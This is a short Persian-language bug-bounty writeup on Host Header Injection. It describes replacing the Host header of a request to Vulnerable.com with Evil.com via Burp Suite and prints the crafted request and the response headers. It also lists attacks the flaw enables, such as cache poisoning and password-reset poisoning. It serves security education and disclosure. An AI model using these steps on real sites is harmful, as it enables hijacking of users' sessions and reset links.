رایتاپ
Host Header Injection writeup

این رایتاپ بر اساس سناریوهای دریافت شده از متخصصین امنیتی باگدشت با هدف اشتراک گذاری دانش امنیتی و تسریع در ایمن سازی ارایه شده است.

اگر نرم‌افزار تحت وب برای ارسال ریکوئست به سرور مورد نظر به مقادیر header حساس باشد و راهکارهایی مانند HTML-encoding و یا  Importing scritps، مکان مشخص برای هدایت کاربر یا ایجاد لینک رمزعبور با فیلتر گذاری و تأیید اعتبار داشته باشد، از وقوع چندین آسیب‌پذیری مانند Cash Poisoning و  XSS ممانعت میشود.

با تغییر مقدار پارامتر Host در هدر ریکوئست ارسالی به سمت سرور با آدرس Vulnerable.com، می‌توانیم آدرس دلخواه را به جای آدرس سامانه آسیب‌پذیر وارد کنیم و به دلیل عدم پیکربندی صحیح در رابطه با تعریف Whitelist و عدم کنترل ورودی‌های برنامه، درخواست مورد نظر به آدرس دلخواه ریدایکرت می‌شود.

مراحل بررسی:

  1. ریکوئست ارسالی به سمت سرور آسیب‌پذیر با آدرس Vulnerable.com را از طریق پراکسی Burp suite دریافت می‌‌کنیم.
  2. مقدار پارامتر Host که حاوی آدرس سرور آسیب‌پذیر است را به مقدار Evil.com (سرور مهاجم) تغییر می‌دهیم.
  3. ریکوئست مربوطه را ارسال میکنیم و پاسخ آن را در مرورگر مشاهده می‌کنیم.
  4. اگر پاسخ ریکوئست ارسالی به سمت سرور Vulnerable.com را در مرورگر مشاهده کنید، شاهد لود شدن وب‌سایت مورد نظر با آدرس Evil.com هستیم.

ریکوئست ارسالی به سمت سرور:

 GET / HTTP/2 Host: Evil.com Cookie: cookiesession1=X; Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close 

هدر پاسخ سرور:

 HTTP/2 200 OK Date: Tue, 23 Nov 2021 12:17:14 GMT Content-Type: text/html; charset=UTF-8 Vary: Accept-Encoding Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=X%3D; expires=Tue, 23-Nov-2021 14:17:14 GMT; Max-Age=7200; path=/; secure X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Xss-Protection: 1; mode=block 

اثر باگ:

تغییر پارامتر‌های header منجر به اجرای حملات زیر می‌شود:

  1. Web Cache Poisoning-Manipulating
  2. Password Reset Poisoning-Exploiting password reset emails
  3. XSS: اگر مقدار Host در header بدون HTML-encoding باشد، مهاجم امکان اجرای XSS را دارد.
  4. دسترسی به هاست‌ها در شبکه داخلی سیستم هدف.